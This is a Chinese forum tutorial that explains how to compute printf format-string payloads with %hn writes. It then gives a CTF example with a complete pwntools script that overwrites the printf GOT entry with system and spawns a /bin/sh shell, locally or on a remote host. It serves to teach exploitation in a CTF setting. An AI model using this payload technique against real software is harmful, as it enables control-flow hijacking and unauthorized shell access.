首页
论坛
专栏
课程

[原创]printf格式化漏洞魔术公式。

2018-2-8 12:56 8398

[原创]printf格式化漏洞魔术公式。

2018-2-8 12:56
8398

我又来了 同学你们烦不烦?.........废话不多开始正题。有什么错误的地方纠正一下谢谢了。

公式:

将0x8048410写入到内存:0x804a00c
分两次写入:

两个高位字节 0x0804

两个低位字节: 0x8410
因为0x8410大于0x0804,所以需要先将0x0804写入。公式如下:
'\x0c\xa0\x04\x08\x0e\xa0\x04\x08%.2044x%8$hn%.31756x%7$hn'
其中%.2044x 和 %.31756x 为重复输入字符‘0’ 2044次和31756次。
使用$可以指定特定序号的栈参数。例如: printf(“%20$x”)实际输出的是第20个参数的值。尽管调用者没有提供20个参数,但是c调用格式的压栈方式,能使该代码顺利执行。printf(“%2$x”)就是打印第二个参数以16进制显示
这里 %8$hn和 %7$hn分别表示printf自己认为压入占中的第7个参数( \x0c\xa0\x04\x08)和第8个参数( \x0e\xa0\x04\x08 ), 0x804a00c的低位和高位
两个数 2044, 31756 转换为16进制为 0x7FC和0x7C0C,          0x7FC加上前面的8个字节刚好等于0x804,而0x7C0C+0x804=0x8410
为什么需要将 %8$hn写在 %7$hn的前面呢?
原因就在上面了,因为0x8410大于0x0804。反之如果高位大于低位可能就要反过来写了。

下面来到例题:
用checksec 发现 got.plt可写。


这是一道典型的格式化漏洞题。题目很简单将第二个fgets当成输入参数的函数输入"/bin/sh"
利用第一个的printf格式化漏洞将printf的地址改为system地址即可。
就达到了system("/bin/sh")


附上exp
from pwn import *
import sys
import time
context.arch = 'i386'
if len(sys.argv) < 2:
	p = process('./binary_300')   
	context.log_level = 'debug'
else:   
	p = remote(sys.argv[1], int(sys.argv[2])) #
def send():
	log.info('start send') 
	payload = '\x0c\xa0\x04\x08\x0e\xa0\x04\x08%.2044x%8$hn%.31756x%7$hn'#0804A00C->70 A0 04 08 0804A070
	p.writeline(payload)
	log.info('send over') 
	sleep(2)
	payload = '/bin/sh'
	p.writeline(payload)
def exp():       
	send()
	log.info('get shell!!')  
	p.interactive()
if __name__ == '__main__':
	exp()









[招聘]欢迎市场人员加入看雪学院团队!

上传的附件:
最新回复 (6)
niuzuoquan 2018-2-8 14:00
2
0
mark
战争贩子 2018-2-28 14:58
3
0
mark
kebobo 2019-1-30 13:29
4
0
niuzuoquan 2019-1-30 14:03
5
0
mark
ttdbb 2019-1-30 21:37
6
0
mark
Normannoldi 2019-5-16 10:03
7
0
mark
游客
登录 | 注册 方可回帖
返回